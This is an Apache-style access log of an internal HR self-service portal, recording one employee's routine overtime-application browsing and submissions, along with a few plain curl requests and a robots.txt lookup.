192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.222 - - [05/Sep/2025:15:10:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [05/Sep/2025:15:10:24 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:25 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658
192.168.11.222 - - [05/Sep/2025:15:10:25 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [05/Sep/2025:15:10:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
100.64.0.1 - - [05/Sep/2025:15:10:28 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:15:10:28 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.11.222 - - [05/Sep/2025:15:10:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457
192.168.11.222 - - [05/Sep/2025:15:10:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:28 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.222 - - [05/Sep/2025:15:10:28 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.222 - - [05/Sep/2025:15:10:33 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.222 - - [05/Sep/2025:15:10:33 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165174
192.168.11.222 - - [05/Sep/2025:15:10:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165174 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:39 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:39 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.222 - - [05/Sep/2025:15:10:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800
192.168.11.222 - - [05/Sep/2025:15:10:42 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630
192.168.11.222 - - [05/Sep/2025:15:10:42 +0800] "GET /eHR/js/date.js HTTP/1.1" 200 12630 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:42 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568
192.168.11.222 - - [05/Sep/2025:15:10:42 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 200 3568 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.222 - - [05/Sep/2025:15:10:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.222 - - [05/Sep/2025:15:10:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.222 - - [05/Sep/2025:15:10:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 -
192.168.11.222 - - [05/Sep/2025:15:10:52 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.11.222 - - [05/Sep/2025:15:10:52 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:52 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084
192.168.11.222 - - [05/Sep/2025:15:10:52 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800
192.168.11.222 - - [05/Sep/2025:15:10:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.222 - - [05/Sep/2025:15:10:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.222 - - [05/Sep/2025:15:10:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.222 - - [05/Sep/2025:15:11:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:11:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.222 - - [05/Sep/2025:15:11:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 31 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:11:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 31
192.168.11.222 - - [05/Sep/2025:15:11:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:11:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.222 - - [05/Sep/2025:15:11:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 -
192.168.11.222 - - [05/Sep/2025:15:11:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:11:08 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:11:08 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.11.222 - - [05/Sep/2025:15:11:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:11:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B HTTP/1.1" 200 12800
192.168.11.222 - - [05/Sep/2025:15:11:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:11:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.222 - - [05/Sep/2025:15:13:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:13:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457
192.168.11.222 - - [05/Sep/2025:15:13:05 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:13:05 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.222 - - [05/Sep/2025:15:13:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165636 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:13:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165636
100.64.0.1 - - [05/Sep/2025:15:13:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:15:13:59 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:15:16:52 +0800] "GET /robots.txt HTTP/1.1" 404 208
